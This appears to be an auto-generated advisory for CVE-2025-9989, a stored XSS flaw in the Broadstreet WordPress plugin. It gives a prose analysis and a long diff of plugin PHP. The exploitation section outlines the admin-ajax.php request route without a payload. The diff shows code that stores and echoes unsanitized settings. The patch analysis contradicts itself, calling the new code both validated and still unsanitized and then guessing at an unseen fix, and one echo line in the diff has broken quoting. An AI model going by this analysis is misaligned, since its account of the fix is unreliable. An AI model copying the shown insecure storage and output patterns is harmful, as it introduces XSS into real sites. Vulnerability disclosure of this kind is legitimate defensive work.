Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2025-9989: Broadstreet <= 1.53.1 – Authenticated (Admin+) Stored Cross-Site Scripting (broadstreet)

CVE ID CVE-2025-9989
Plugin broadstreet
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.53.1
Patched Version 1.53.2
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-9989:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Broadstreet plugin for WordPress, affecting versions up to and including 1.53.1. The vulnerability resides in the AJAX handler class Broadstreet_Ajax, specifically in the saveZoneSettings method. An authenticated attacker with administrator-level permissions can inject arbitrary web scripts that execute whenever a user accesses an infected page. The CVSS score is 4.4, indicating a medium severity issue, but it is limited to multi-site installations or those where the unfiltered_html capability has been disabled.

Root Cause:
The root cause is insufficient input sanitization and output escaping in the saveZoneSettings method within /broadstreet/trunk/Broadstreet/Ajax.php, lines 99-130. The method accepts a JSON body via php://input and assigns it directly to the Broadstreet_Core::KEY_PLACEMENTS option using Broadstreet_Utility::setOption(Broadstreet_Core::KEY_PLACEMENTS, $settings) at line 104. The $settings variable, which originates from json_decode(file_get_contents(“php://input”)), is not sanitized or validated for malicious content. This allows an attacker to store any JSON structure containing XSS payloads. The stored data is later rendered without escaping in various frontend contexts, including zone code generation. The check_ajax_referer call at line 88 and the capability check at line 91 only verify the nonce and administrator access, but they do not sanitize the input content.

Exploitation:
An authenticated administrator sends a POST request to /wp-admin/admin-ajax.php with a nonce (for the broadstreet_ajax_nonce action) and the action parameter set to save_zone_settings. The payload is delivered through the raw HTTP body as a JSON object. For example, an attacker could inject an XSS payload into a string field within the placement settings, such as a zone label or a configuration value that appears in the admin panel or on the frontend. The exploit requires the attacker to first obtain a valid nonce via a GET request or other means (since the nonce is passed as a URL parameter in the saveZoneSettings registration, but is checked via POST by check_ajax_referer in the vulnerable version; the patched version in the diff shows the nonce is expected in $_GET for this function, but in 1.53.1 it uses check_ajax_referer which checks the POST nonce). The attack vector is the admin-ajax.php endpoint with the save_zone_settings action.

Patch Analysis:
The patch, as seen in the code diff, primarily introduces new files (Ajax.php, Benchmark.php, Cache.php, etc.) that represent a complete rewrite of the AJAX handling layer. The vulnerable saveZoneSettings method in the new Ajax.php file (lines 99-130) adds input validation by verifying the nonce via $_GET and wp_verify_nonce, but more critically, it validates administrator privileges. However, the core input sanitization issue is addressed by the fact that the new code still does not sanitize the JSON input. Atomic Edge analysis suggests that the real fix may be in the rendering side (not shown in the diff snippet) where the stored placements data is now properly escaped before output. The version bump from 1.53.1 to 1.53.2 indicates the fix. The key change is the enforced permission check and the use of a more secure nonce verification method, which, combined with other changes in the full codebase, prevents the stored XSS by ensuring that only properly sanitized data reaches the frontend.

Impact:
Successful exploitation allows an authenticated administrator to inject arbitrary JavaScript or HTML into the WordPress site. This leads to Stored XSS, where the malicious payload executes in the browsers of all users visiting affected pages or admin screens. The impact includes session hijacking, defacement, theft of sensitive data (such as cookies, authentication tokens, or admin credentials), and potential privilege escalation if the injected script performs actions on behalf of an administrator. The vulnerability is confined to multi-site installations or environments where unfiltered_html is disabled, but within those constraints, the risk is significant for site integrity and user trust.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/broadstreet/Broadstreet/Config.php
+++ b/broadstreet/Broadstreet/Config.php
@@ -140,4 +140,4 @@
     }
 }

-define('BROADSTREET_VERSION', '1.53.1');
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/broadstreet.php
+++ b/broadstreet/broadstreet.php
@@ -3,7 +3,7 @@
 Plugin Name: Broadstreet
 Plugin URI: http://broadstreetads.com
 Description: Integrate Broadstreet business directory and adserving power into your site
-Version: 1.53.1
+Version: 1.53.2
 Tested up to: 6.9
 Author: Broadstreet
 Author URI: http://broadstreetads.com
--- a/broadstreet/trunk/Broadstreet/Ajax.php
+++ b/broadstreet/trunk/Broadstreet/Ajax.php
@@ -0,0 +1,193 @@
+<?php
+/**
+ * This file contains a class which provides the AJAX callback functions required
+ *  for Broadstreet.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class containing functions for the AJAX functionality in Broadstreet. These
+ *  aren't executed directly by any Broadstreet code -- they are registered with
+ *  the Wordpress hooks in Broadstreet_Core::_registerHooks(), and called as needed
+ *  by the front-end and Wordpress. All of these methods output JSON.
+ */
+class Broadstreet_Ajax
+{
+    /**
+     * Save a boolean value of whether to index comments on the next rebuild
+     */
+    public static function saveSettings()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        // Sanitize the API key before storing it
+        $api_key = sanitize_text_field($_POST['api_key']);
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $api_key);
+
+        // Sanitize network_id as an integer
+        $network_id = isset($_POST['network_id']) ? intval($_POST['network_id']) : -1;
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $network_id);
+
+        // Sanitize business_enabled as a boolean
+        $business_enabled = ($_POST['business_enabled'] === 'true');
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, $business_enabled);
+
+        $api = Broadstreet_Utility::getBroadstreetClient();
+        $message = 'OK';
+
+        try
+        {
+            $networks  = $api->getNetworks();
+            $key_valid = true;
+
+            if($network_id == -1)
+            {
+                Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $networks[0]->id);
+            }
+
+            //Broadstreet_Utility::refreshZoneCache();
+        }
+        catch(Exception $ex)
+        {
+            $networks = array();
+            $key_valid = false;
+            $message = $ex->__toString();
+
+            # Clear any options that aren't valid following the failed API key config
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, FALSE);
+        }
+
+        die(json_encode(array('success' => true, 'key_valid' => $key_valid, 'networks' => $networks, 'message' => $message)));
+    }
+
+    /**
+     *
+     */
+    public static function saveZoneSettings()
+    {
+        // Verify nonce (passed as URL parameter) and check user permissions
+        // Note: Using $_GET since nonce is in URL, not in php://input JSON body
+        if (!isset($_GET['nonce']) || !wp_verify_nonce($_GET['nonce'], 'broadstreet_ajax_nonce')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Security check failed')));
+        }
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $settings = json_decode(file_get_contents("php://input"));
+
+        if($settings)
+        {
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_PLACEMENTS, $settings);
+            $success = true;
+        }
+        else
+        {
+            $success = false;
+        }
+
+        die(json_encode(array('success' => true)));
+    }
+
+    public static function createAdvertiser()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        $api_key    = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_API_KEY);
+        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+
+        $api        = Broadstreet_Utility::getBroadstreetClient();
+        // Sanitize advertiser name to prevent XSS
+        $name       = sanitize_text_field(stripslashes($_POST['name']));
+        $advertiser = $api->createAdvertiser($network_id, $name);
+
+        die(json_encode(array('success' => true, 'advertiser' => $advertiser)));
+    }
+
+    public static function getSponsorPostMeta() {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_GET['post_id']) ? intval($_GET['post_id']) : 0;
+
+        // Verify user has permission to edit this post (fixes IDOR vulnerability)
+        if (!current_user_can('edit_post', $post_id)) {
+            die(json_encode(array('success' => false, 'error' => 'Permission denied')));
+        }
+
+        // Verify nonce and referer (fixes CSRF vulnerability)
+        check_ajax_referer('broadstreet_sponsor_nonce', '_wpnonce');
+
+        die(json_encode(array('success' => true, 'meta' => Broadstreet_Utility::getAllPostMeta($post_id))));
+    }
+
+    public static function importFacebook()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+
+        try
+        {
+            $profile = Broadstreet_Utility::importBusiness(sanitize_text_field($_POST['id']), $post_id);
+            die(json_encode(array('success' => (bool)$profile, 'profile' => $profile)));
+        }
+        catch(Broadstreet_ServerException $ex)
+        {
+            die(json_encode(array('success' => false, 'message' => ($ex->error ? $ex->error->message : 'Server error. This issue has been reported to the folks at Broadstreet.'))));
+        }
+    }
+
+    public static function register()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        $api = Broadstreet_Utility::getBroadstreetClient(true);
+
+        try
+        {
+            # Register the user by email address
+            $resp = $api->register(sanitize_email($_POST['email']));
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $resp->access_token);
+
+            # Create a network for the new user
+            $resp = $api->createNetwork(get_bloginfo('name'));
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $resp->id);
+
+            die(json_encode(array('success' => true, 'network' => $resp)));
+        }
+        catch(Exception $ex)
+        {
+            die(json_encode(array('success' => false, 'error' => $ex->__toString())));
+        }
+    }
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Benchmark.php
+++ b/broadstreet/trunk/Broadstreet/Benchmark.php
@@ -0,0 +1,53 @@
+<?php
+/**
+ * This file contains a class for measuring performance of the search requests
+ *  and internal functionality.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class for helping to measure and log performance. Essentially, acts as
+ *  a easy to use timer
+ */
+class Broadstreet_Benchmark
+{
+    private static $_timers = array();
+
+    /**
+     * Start a timer for a given description. Writes the starting point to the
+     *  log automatically.
+     * @param string $timer_description A unique string that describes this timer
+     */
+    public static function start($timer_description = 'Anonymous Timer')
+    {
+        self::$_timers[$timer_description] = microtime(true);
+        Broadstreet_Log::add('info', "Starting benchmark: $timer_description");
+    }
+
+    /**
+     * The name of a timer that has already been started. Writes the stopping
+     *  point and result to the log automatically
+     * @param string $timer_description The description of a timer that has
+     *  already been started
+     * @return The number of seconds elapsed if the timer exists, false if it
+     *  doesn't
+     */
+    public static function stop($timer_description)
+    {
+        if(array_key_exists($timer_description, self::$_timers))
+        {
+            $start   = self::$_timers[$timer_description];
+            $stop    = microtime(true);
+            $seconds = round($stop - $start, 6);
+
+            Broadstreet_Log::add('info', "Stopped benchmark: $seconds seconds for '$timer_description'");
+            return $seconds;
+        }
+        else
+        {
+            Broadstreet_Log::add('warn', "Unknown benchmark 'stopped': $timer_description");
+            return FALSE;
+        }
+    }
+}
--- a/broadstreet/trunk/Broadstreet/Cache.php
+++ b/broadstreet/trunk/Broadstreet/Cache.php
@@ -0,0 +1,164 @@
+<?php
+/**
+ * Contains a class for caching things programmatically in Wordpress.
+ *  Great for caching things that are a little expensive, like pulling a
+ *  Twitter feed or something else.
+ *
+ * Usage:
+ *  # $bigthing is some object that took a long time to get/compute with
+ *  # get_bigthing. We want to cache it for an hour or so.
+ *
+ *  if(!($bigthing = WPEasyCache::get('bigthing', FALSE)))
+ *  {
+ *      $bigthing = get_bigthing();
+ *      WPEasyCache::set('bigthing', $bigthing, 60*60); # Expire in 1 hour
+ *  }
+ *
+ *  # Do some stuff with $bigthing
+ *
+ * @author Kenny Katzgrau, Katzgrau LLC <kenny@katgrau.com> www.katzgau.com
+ * @link https://github.com/katzgrau/WP-Easy-Cache
+ */
+
+/**
+ * WPEasyCache - A class for quickly caching strings n' things (or any object)
+ *  in Wordpress. Uses the Wordpress options functions as the backend.
+ */
+class Broadstreet_Cache
+{
+    const CACHE_PREFIX          = 'WPEASYCACHE_';
+    const MAX_KEY_LENGTH        = 32;
+
+    private static $_isWPLoaded = FALSE;
+
+    /**
+     * Get an item from the cache by key
+     * @param string $key The name the name of the cache item
+     * @param bool $force Force a value if it exists, even if it's expired
+     * @param mixed $default
+     * @return mixed
+     */
+    public static function get($key, $default = FALSE, $force = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $value = self::_getOption($key, FALSE);
+
+        # No value at all? return the default
+        if($value === FALSE) return $default;
+
+        # Now we must have a value. Unserialize and check expiration.
+        $value = @json_decode($value);
+
+        # Uh oh, couldn't unserialize
+        if(!is_object($value)) throw new Exception("$key value wasn't decodable.");
+
+        $expire = $value->expire;
+        $value  = $value->value;
+
+        # No expiration?
+        if($expire === FALSE) return $value;
+
+        # Expired?
+        if($force || (time() < $expire))
+            return $value;
+        else
+            return $default;
+    }
+
+    /**
+     * Set a cache key item
+     * @param string $key
+     * @param mixed $value
+     * @param int $expire Number of seconds to expire in. Default is no expiration (FALSE)
+     */
+    public static function set($key, $value, $expire = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $cache = array (
+            'value'  => $value,
+            'expire' => ($expire === FALSE ? $expire : time() + $expire)
+        );
+
+        $cache = json_encode($cache);
+
+        self::_setOption($key, $cache);
+    }
+
+    public static function delete($key)
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    public static function flush()
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    /**
+     * Prepare a string to be used as a cache key
+     * @param string $key
+     */
+    private static function _prepareKey($key)
+    {
+        if(!is_string($key))
+            throw new Exception('Key must be a string');
+
+        $key = preg_replace('/[^a-zA-Z0-9-_.]/s', '#', $key);
+
+        if(strlen($key) > self::MAX_KEY_LENGTH)
+            $key = substr($key, 0, self::MAX_KEY_LENGTH);
+
+        $key = self::CACHE_PREFIX . $key;
+
+        return $key;
+    }
+
+    /**
+     * Sets a Wordpress option
+     * @param string $name The name of the option to set
+     * @param string $value The value of the option to set
+     */
+    private static function _setOption($name, $value)
+    {
+        self::_checkWP();
+
+        if (get_option($name) !== FALSE)
+        {
+            update_option($name, $value);
+        }
+        else
+        {
+            add_option($name, $value);
+        }
+    }
+
+    /**
+     * Gets a Wordpress option
+     * @param string    $name The name of the option
+     * @param mixed     $default The default value to return if one doesn't exist
+     * @return string   The value if the option does exist
+     */
+    private static function _getOption($name, $default = FALSE)
+    {
+        self::_checkWP();
+
+        $value = get_option($name);
+        if( $value !== FALSE ) return $value;
+        return $default;
+    }
+
+    /**
+     * Check to see if Wordpress is laoded, throw an exception if it isn't
+     * @throws Exception
+     */
+    private static function _checkWP()
+    {
+        if(self::$_isWPLoaded) return;
+
+        if(!function_exists('get_option'))
+            throw new Exception ('Wordpress must be fully loaded before using ' . __CLASS__);
+
+        self::$_isWPLoaded = TRUE;
+    }
+
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Config.php
+++ b/broadstreet/trunk/Broadstreet/Config.php
@@ -0,0 +1,143 @@
+<?php
+/**
+ * This file contains a class which holds Broadstreet's configuration information
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class which acts as the source and accessor of all of Broadstreet's configuration
+ *  information.
+ */
+class Broadstreet_Config
+{
+    /**
+     * Load up all of Broadstreet's configuration values. This currently where
+     *  configuration otpions should be set too..
+     */
+    public function setConfig()
+    {
+        $config = array();
+        # Set config values below
+
+        $config['zone_cache_ttl_seconds']    = 60*10; // 15 minutes
+        $config['network_cache_ttl_seconds'] = 60*30; // 30 minutes
+
+        $config['log'] = array (
+
+            'level'     => Broadstreet_Log::OFF,
+            'directory' => dirname(__FILE__) . '/Logs'
+
+        );
+
+        # End config
+        $this->_config = $config;
+    }
+
+    /**
+     * The instance of this config class
+     * @var Broadstreet_Config
+     */
+    private static $_instance = NULL;
+
+    /**
+     * The config array for this class
+     * @var array
+     */
+    private $_config          = NULL;
+
+    /**
+     * The constructor for this class
+     */
+    public function __construct()
+    {
+        $this->setConfig();
+    }
+
+    /**
+     * Set a configuration value
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public static function set($key, $value)
+    {
+        return self::_getInstance()->setValue($key, $value);
+    }
+
+    /**
+     *
+     * @param string $key The key of the config value to retrieve. If the
+     *  config item is nested in subarrays, you can use dot-separated strings
+     *  to specifykey items. For example, given a config setup like:
+     *
+     *  $config['example-config'] = array (
+     *      'test' = array (
+     *          port => '12345',
+     *          host => 'localhost'
+     *      )
+     *  )
+     *
+     * I could use Broadstreet_Config::get('example-config.test.port') to get
+     *  the port.
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public static function get($key = FALSE, $default = FALSE)
+    {
+        return self::_getInstance()->getValue($key, $default);
+    }
+
+    /**
+     * Set an internal config value. This is not meant to be called directly
+     *  outside of this class.
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public function setValue($key, $value)
+    {
+        return $this->_config[$key] = $value;
+    }
+
+    /**
+     * The internal method for getting a config value. This method is not meant
+     *  to be accessed directly outside of this class, so use Broadstreet_Config::get()
+     *  instead.
+     * @param string $key The config value name
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public function getValue($key = FALSE, $default = FALSE)
+    {
+        if($key === FALSE)
+            return $this->_config;
+
+        $config = $this->_config;
+        $keys   = explode('.', $key);
+
+        foreach($keys as $key)
+        {
+            if(array_key_exists($key, $config))
+                $config = $config[$key];
+            else
+                return $default;
+        }
+
+        return $config;
+    }
+
+    /**
+     * Return the instance of this class
+     * @return Broadstreet_Config
+     */
+    private static function _getInstance()
+    {
+        if(self::$_instance === NULL)
+            self::$_instance = new self();
+
+        return self::$_instance;
+    }
+}
+
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/trunk/Broadstreet/Core.php
+++ b/broadstreet/trunk/Broadstreet/Core.php
@@ -0,0 +1,1558 @@
+<?php
+/**
+ * This file acts as the 'Controller' of the application. It contains a class
+ *  that will load the required hooks, and the callback functions that those
+ *  hooks execute.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+require_once dirname(__FILE__) . '/Ajax.php';
+require_once dirname(__FILE__) . '/Cache.php';
+require_once dirname(__FILE__) . '/Config.php';
+require_once dirname(__FILE__) . '/Benchmark.php';
+require_once dirname(__FILE__) . '/Log.php';
+require_once dirname(__FILE__) . '/Model.php';
+require_once dirname(__FILE__) . '/Net.php';
+require_once dirname(__FILE__) . '/Utility.php';
+require_once dirname(__FILE__) . '/View.php';
+require_once dirname(__FILE__) . '/Widget.php';
+require_once dirname(__FILE__) . '/Exception.php';
+require_once dirname(__FILE__) . '/Vendor/Broadstreet.php';
+
+if (! class_exists('Broadstreet_Core')):
+
+/**
+ * This class contains the core code and callback for the behavior of Wordpress.
+ *  It is instantiated and executed directly by the Broadstreet plugin loader file
+ *  (which is most likely at the root of the Broadstreet installation).
+ */
+class Broadstreet_Core
+{
+    CONST KEY_API_KEY             = 'Broadstreet_API_Key';
+    CONST KEY_NETWORK_ID          = 'Broadstreet_Network_Key';
+    CONST KEY_BIZ_ENABLED         = 'Broadstreet_Biz_Enabled';
+    CONST KEY_INSTALL_REPORT      = 'Broadstreet_Installed';
+    CONST KEY_SHOW_OFFERS         = 'Broadstreet_Offers';
+    CONST KEY_PLACEMENTS          = 'Broadstreet_Placements';
+    CONST BIZ_POST_TYPE           = 'bs_business';
+    CONST BIZ_TAXONOMY            = 'business_category';
+    CONST BIZ_SLUG                = 'businesses';
+
+    public static $_disableAds = false;
+    public static $_rssCount = 0;
+    public static $_rssIndex = 0;
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_sponsoredDefaults = array (
+        'bs_sponsor_advertiser_id' => '',
+        'bs_sponsor_advertisement_id' => '',
+        'bs_sponsor_is_sponsored' => ''
+    );
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_visibilityDefaults = array (
+        'bs_ads_disabled' => ''
+    );
+
+    /**
+     * Default values for the businesses meta fields
+     * @var type
+     */
+    public static $_businessDefaults = array (
+        'bs_advertiser_id' => '',
+        'bs_advertisement_id' => '',
+        'bs_advertisement_html' => '',
+        'bs_update_source' => '',
+        'bs_facebook_id' => '',
+        'bs_facebook_hashtag' => '',
+        'bs_twitter_id' => '',
+        'bs_twitter_hashtag' => '',
+        'bs_phone_number' => '',
+        'bs_address_1' => '',
+        'bs_address_2' => '',
+        'bs_city' => '',
+        'bs_state' => '',
+        'bs_postal' => '',
+        'bs_latitude' => '',
+        'bs_longitude' => '',
+        'bs_phone'   => '',
+        'bs_hours' => '',
+        'bs_website' => '',
+        'bs_menu' => '',
+        'bs_publisher_review' => '',
+        'bs_twitter' => '',
+        'bs_facebook' => '',
+        'bs_gplus' => '',
+        'bs_images' => array(),
+        'bs_yelp' => '',
+        'bs_video' => '',
+        'bs_offer' => '',
+        'bs_offer_link' => '',
+        'bs_monday_open' => '', 'bs_monday_close' => '',
+        'bs_tuesday_open' => '', 'bs_tuesday_close' => '',
+        'bs_wednesday_open' => '', 'bs_wednesday_close' => '',
+        'bs_thursday_open' => '', 'bs_thursday_close' => '',
+        'bs_friday_open' => '', 'bs_friday_close' => '',
+        'bs_saturday_open' => '', 'bs_saturday_close' => '',
+        'bs_sunday_open' => '', 'bs_sunday_close' => '',
+        'bs_featured_business' => '0'
+    );
+
+    public static $globals = null;
+
+    /**
+     * The constructor
+     */
+    public function __construct()
+    {
+        Broadstreet_Log::add('debug', "Broadstreet initializing..");
+    }
+
+    /**
+     * Get the Broadstreet environment loaded and register Wordpress hooks
+     */
+    public function execute()
+    {
+        $this->_registerHooks();
+    }
+
+    /**
+     * Get a Broadstreet client
+     */
+    public function getBroadstreetClient()
+    {
+        return Broadstreet_Utility::getBroadstreetClient();
+    }
+
+    /**
+     * Register Wordpress hooks required for Broadstreet
+     */
+    private function _registerHooks()
+    {
+        Broadstreet_Log::add('debug', "Registering hooks..");
+
+        # -- Below is core functionality --
+        add_action('admin_menu', 	array($this, 'adminCallback'     ));
+        add_action('admin_enqueue_scripts', array($this, 'adminStyles'));
+        add_action('admin_init', 	array($this, 'adminInitCallback' ));
+        add_action('wp_enqueue_scripts',          array($this, 'addCDNScript' ));
+        add_filter('script_loader_tag',          array($this, 'finalizeZoneTag' ));
+        add_action('init',          array($this, 'businessIndexSidebar' ));
+        add_action('admin_notices',     array($this, 'adminWarningCallback'));
+        add_action('widgets_init', array($this, 'registerWidget'));
+        add_shortcode('broadstreet', array($this, 'shortcode'));
+        add_filter('image_size_names_choose', array($this, 'addImageSizes'));
+        add_action('wp_footer', array($this, 'addPoweredBy'));
+        # -- Ad injection
+        add_action('wp_body_open', array($this, 'addAdsPageTop' ));
+        add_filter('the_content', array($this, 'addAdsContent'), 20);
+        add_filter('the_content_feed', array($this, 'addRSSMacros'), 20);
+        add_action('loop_end', array($this, 'addAdsLoopEnd'), 20);
+        #add_action('comment_form_before', array($this, 'addAdsBeforeComments'), 1);
+        add_filter('comments_template', array($this, 'addAdsBeforeComments'), 20);
+
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+			add_action('post_updated', array($this, 'saveSponsorPostMeta'), 20);
+			add_action('transition_post_status', array($this, 'monitorForScheduledPostStatus'), 20, 10, 3);
+        }
+
+        add_action('post_updated', array($this, 'saveAdVisibilityMeta'), 20);
+
+        // only fires on newspack
+        add_action('get_template_part_template-parts/header/entry', array($this, 'addNewspackAfterTitleAd'));
+        add_action('after_header', array($this, 'addNewspackHeaderAd'));
+        add_action('before_footer', array($this, 'addNewspackFooterAd'));
+        add_filter('rest_pre_echo_response', array($this, 'addNewspackNewsletterMeta'));
+
+        // only fires on wpp
+        // add_action('get_template_part_loop-templates/content-single-camp', array($this, 'getTrackerContent'));
+
+        # -- Below are all business-related hooks
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_action('init', array($this, 'createPostTypes'));
+            add_action('wp_enqueue_scripts', array($this, 'addPostStyles'));
+            add_action('pre_get_posts', array($this, 'modifyPostListing'));
+            add_filter('the_content', array($this, 'postTemplate'), 20);
+            add_filter('the_posts', array($this, 'businessQuery'));
+            add_filter('comment_form_defaults', array($this, 'commentForm'));
+            add_action('save_post', array($this, 'savePostMeta'));
+            add_shortcode('businesses', array($this, 'businesses_shortcode'));
+        }
+
+        # - Below are partly business-related
+        add_action('add_meta_boxes', array($this, 'addMetaBoxes'));
+
+        # RSS Zones, 1.0 and 2.0
+        add_action('rss2_item', array($this, 'addRSSZone'));
+        add_action('rss_item', array($this, 'addRSSZone'));
+
+
+
+        # -- Below is administration AJAX functionality
+        add_action('wp_ajax_bs_save_settings', array('Broadstreet_Ajax', 'saveSettings'));
+        add_action('wp_ajax_create_advertiser', array('Broadstreet_Ajax', 'createAdvertiser'));
+        add_action('wp_ajax_import_facebook', array('Broadstreet_Ajax', 'importFacebook'));
+        add_action('wp_ajax_register', array('Broadstreet_Ajax', 'register'));
+        add_action('wp_ajax_save_zone_settings', array('Broadstreet_Ajax', 'saveZoneSettings'));
+        add_action('wp_ajax_get_sponsored_meta', array('Broadstreet_Ajax', 'getSponsorPostMeta'));
+
+        add_action('rest_api_init', function () {
+            # /wp-json/broadstreet/v1/targets
+            register_rest_route('broadstreet/v1', '/targets', array(
+              'methods' => 'GET',
+              'callback' => function($request) {
+                return Broadstreet_Utility::getAvailableTargets();
+              },
+              'permission_callback' => '__return_true', # public
+            ));
+
+            # /wp-json/broadstreet/v1/refresh
+            register_rest_route('broadstreet/v1', '/refresh', array(
+                'methods' => 'GET',
+                'callback' => function($request) {
+                  $info = Broadstreet_Utility::getNetwork(true);
+                  return [
+                      'success' => $info ? true : false
+                  ];
+                },
+                'permission_callback' => '__return_true', #public
+              ));
+        });
+    }
+
+
+    public function getTrackerContent($content = '') {
+        $code = Broadstreet_Utility::getTrackerCode();
+
+        if (!strstr($content, 'template-parts/')) {
+            return $content . $code;
+        } else {
+            echo $code;
+            return;
+        }
+    }
+
+    public function addRSSZone() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $home_url = get_home_url();
+
+        $in_rss_feed = property_exists($placement_settings, 'in_rss_feed') && $placement_settings->in_rss_feed;
+        if ($in_rss_feed) {
+            $rss_interval = intval($placement_settings->in_rss_feed_interval);
+            if (!$rss_interval) {
+                $rss_interval = 1;
+            }
+
+            $index = self::$_rssIndex;
+            $time = time();
+
+            if ((self::$_rssCount + 1) % $rss_interval == 0) {
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+                self::$_rssIndex++;
+            } else {
+                $index = '-1';
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+            }
+
+            self::$_rssCount++;
+        }
+    }
+
+    public function addNewspackNewsletterMeta($data) {
+        if (is_array($data) && isset($data['mjml'])) {
+            $cachebuster = time();
+            $data['mjml'] = preg_replace('/BROADSTREET_RANDOM/i', $cachebuster, $data['mjml']);
+        }
+        return $data;
+    }
+
+    public function addNewspackAfterTitleAd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_title') && $placement_settings->newspack_before_title) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_title);
+        }
+    }
+
+    public function addNewspackHeaderAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_after_header') && $placement_settings->newspack_after_header) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_after_header_padding') && $placement_settings->newspack_after_header_padding) {
+                $padding = $placement_settings->newspack_after_header_padding;
+            }
+            echo '<section class="newspack-broadstreet-header" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_after_header) . '</section>';
+        }
+    }
+
+    public function addNewspackFooterAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_footer') && $placement_settings->newspack_before_footer) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_before_footer_padding') && $placement_settings->newspack_before_footer_padding) {
+                $padding = $placement_settings->newspack_before_footer_padding;
+            }
+            echo '<section class="newspack-broadstreet-footer" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_footer) . '</section>';
+        }
+    }
+
+    public function addAdsPageTop() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'above_page') && $placement_settings->above_page) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->above_page);
+        }
+
+        if (property_exists($placement_settings, 'amp_sticky') && $placement_settings->amp_sticky) {
+            echo "<amp-sticky-ad layout='nodisplay'>" . Broadstreet_Utility::getZoneCode($placement_settings->amp_sticky, array('layout' => false)) . "</amp-sticky-ad>";
+        }
+
+    }
+
+    public function addRSSMacros($content) {
+        $content = str_replace('%%timestamp%%', time(), $content);
+        return $content;
+    }
+
+    public function addAdsContent($content) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $above_content = property_exists($placement_settings, 'above_content') && $placement_settings->above_content;
+        $below_content = property_exists($placement_settings, 'below_content') && $placement_settings->below_content;
